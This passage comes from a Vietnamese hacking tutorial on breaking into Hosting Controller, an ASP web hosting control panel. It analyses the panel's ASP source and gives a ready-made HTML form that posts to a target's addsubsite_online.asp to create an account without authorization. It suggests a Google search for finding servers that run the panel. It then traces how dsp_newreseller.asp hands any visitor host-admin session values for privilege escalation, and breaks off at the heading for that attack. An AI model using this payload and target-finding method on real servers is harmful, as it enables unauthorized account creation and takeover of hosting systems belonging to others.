phone = T(Request.Form("phone"))
zip = T(Request.Form("zip"))
> Khai báo các biến và gán cho nó các giá trị quan trọng được người dùng gởi
tới từ client -> như "loginname" và "password" v v
QUOTE
'sub function to create the new User Account
Result = InternalAddUser(UserName,Domain,Password,UserName,
UserName,"FALSE","FALSE",NAdminLevel,existingemail )
if (Result >= 1 and Result < 9) then
session.Abandon()
end if
Response.Write "Result of user creation is : " & Result & "<br>"
'Response.End
& #39;==============================================
==============================
======
'Create User function
public function addUser(UserName,Password,QuotaLimit)
on error resume next
'
'initallization
newadminlevel = "webadmin"
Description = "Web admin"
set rs = Server.CreateObject("ADODB.RecordSet")
set adm = Server.CreateObject("AdvAdmin.AccountAdmin")
autosetupreseller = adm.GetStrAdvReg("General","autosetupreseller")
set adm = nothing
AdminName = autosetupreseller
m_UserName = UserName
m_Password = Password
'check the existance of the reseller account
'Result = CheckReseller()
WebQuota = 0
MailQuota = 0
FtpQuota = QuotaLimit
ODBCQuota = QuotaLimit
VDirQuota = QuotaLimit
ServuQuota = 0
StatsQuota = 0
Session("AdminName") = autosetupreseller
Result = InternalAddUser(m_UserName,Domain,m_Password,m_Use
rName,m_UserName,"FALSE","TRUE",newadminlevel)
addUser = Result
end function
> Tạo user với các giá trị biến ! (source của file này còn nhiều , nhưng chúng ta
chỉ cần xem tới đây là đủ ! hi hi)
-> heee -> tới đây chắc các bạn cũng đã hiểu file này có khả năng làm được gì rùi
chứ ! -> Ta có thể tạo được một User mới nhờ file này !
3) Tấn công :
- Bây giờ làm cách nào để ta tạo ra môt Account trên HC đây ! -> rất đơn giản ! ->
chúng ta chỉ cần tạo một file "AddUser.html" có nội dung như sau :
CODE
<FORM action="http://[target]/admin/hosting/addsubsite_online.asp"
method="post">
<INPUT type="hidden" name="domaintypecheck" value="SECOND"
id="Hidden1">
Domain: <INPUT name="DomainName" value="hcegroup.net"
id="Hidden2"><BR>
Username: <INPUT name="loginname" value="kehieuhoc" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype5" >
<INPUT type="hidden" name="choice" value="1" id="Hidden6" >
Password: <INPUT name="password" value="kehieuhoc"
id="Hidden7"><BR><BR>
<input type="submit" value="Make">
</FORM>
Lưu file này lại trên PC của ta và run nó ! -> nhập các thông tin username ,
password -> make -> chuyện gì đã xãy ra ! -> Một Account mới đã được tạo trên
HC theo ý muốn của mình !
(Search trên Google.com với từ khóa chẳng hạn như: "powered by Hosting
Controller" để tìm các Server sử dụng HC)
Hết phần I
// KeHieuHoc - HCE Group \\
Chào các bạn !
Hosting Controller thật là tiện dụng nhưng cũng thật là nguy hiễm với những lỗi
bảo mật của nó phải không các bạn ! Và hôm nay chúng ta sẽ tiếp tục tìm hiểu về
những lổ hỏng bảo mật này !
Như các bạn đã biết , ở phần I chúng ta đã nghiên cứu và tìm ra được cách tạo một
Account trên HC với quyền "Web Admin" từ bên ngoài . Nhưng với Account này
chúng ta bị giới hạn quyền rất nhiều trên HC . Vì vậy bây giờ chúng ta hãy tìm
cách có được quyền hạn cao nhất trên HC , nhưng Account nào có được quyền hạn
đó và làm cách nào để có được nó ?
Phần II : " Login với quyền Host Admin "
I) Suy luận :
- Sau khi có được Account -> chúng ta login vào HC ,lúc này để hệ thống chấp
nhận Account được phép sử dụng tài nguyên trên HC thì HC phải cấp cho ta một
số "session" -> đây là những "session" cơ bản mà bất cứ Account nào cũng cần
phải có nó để hoat động trên HC ! -> Những "Session" này sẽ được tạo ra trong
quá trình Login !
- Những session này đã giúp cho chúng ta được phép sử dụng được một số chức
năng cơ bản !
- Account trên HC có một vài phân cấp khác nhau như : "webadmin" , "reseller" ,
"host"
-> trong đó ta đặt biệt chú về Account có quyền "host" -> bởi vì nó có quyền cao
nhất HC
- Nhưng để hệ thống HC phân biệt Account này với Account có quyền
"webadmin" thì nó phải cấp thêm một vài Session đặt biệt nữa cho Accout này !
-> Ở phần trước chúng ta đã có Account với quyền "webadmin" -> tức chúng ta có
thể tạo ra những session cơ bản .Nếu có thêm những session đặt biệt -> chúng ta có
quyền "Host Admin" !
-> Mục tiêu của chúng ta bây giờ là tìm cách tạo ra những session đăt biệt này! ->
hic , nhưng bằng nào đây ! -> rất may cho ta , trên HC xuất hiện thêm một bug
giúp chúng ta làm được việc này !
II) Phân tích bug :
- Bug này nằm ở file: "dsp_newreseller.asp" , chúng ta cùng xem source của nó !
CODE
<%
dim rs
dim autosignup
set conn = Server.CreateObject("ADODB.Connection")
set rs = Server.CreateObject("ADODB.RecordSet")
set adm = Server.CreateObject("AdvAdmin.AccountAdmin")
ConnString = adm.GetStrAdvReg("General","ConnString")
conn.Open ConnString
strQuery = "select * from Admin_List where AdminLevel='host'"
rs.Open strQuery,conn,1,3
AdminName = rs.Fields("Name")
rs.Close
AdminLevel = "host"
Session("AdminName") = AdminName
Session("AdminLevel") = AdminLevel
set AdminObj = server.createobject("AdvAdmin.AccountAdmin")
DomainName = Trim(AdminObj.GetMachineName)
set AdminObj = nothing
Session("ValidReq") = true
Session("Domain") = DomainName
Application("Connection1_connectionString") = ConnString
& #39;**********************************************
******************************
********
'*** get the properties of the host and if he is found in the cyber cash table show it
'*** it the reseller CC form other wise do not
strQuery = "select propname from cybercash where adminname='"& AdminName
&"'"
rs.Open strQuery,conn,1,3
if rs.EOF then
autosignup = 0
else
autosignup = 1
end if
rs.Close
%>
- Session("ValidReq") = true
- " strQuery = "select * from Admin_List where AdminLevel='host'" " -> lấy tất cả
data từ cái table " Admin_List " ở AdminLevel='host'"
- " AdminName = rs.Fields("Name") "
-> Vì cái Account tên "Hcadmin" có quyền "host" thường là giá trị đầu tiên của
coloum "name" nên biến AdminName = "hcadmin"
Và " Session("AdminName") = AdminName " -> Session("AdminName") =
"hcadmin"
QUOTE
AdminLevel = "host"
Session("AdminLevel") = AdminLevel
-> Session("AdminLevel") = "host" -> session đặt biệt !
III) Tấn công :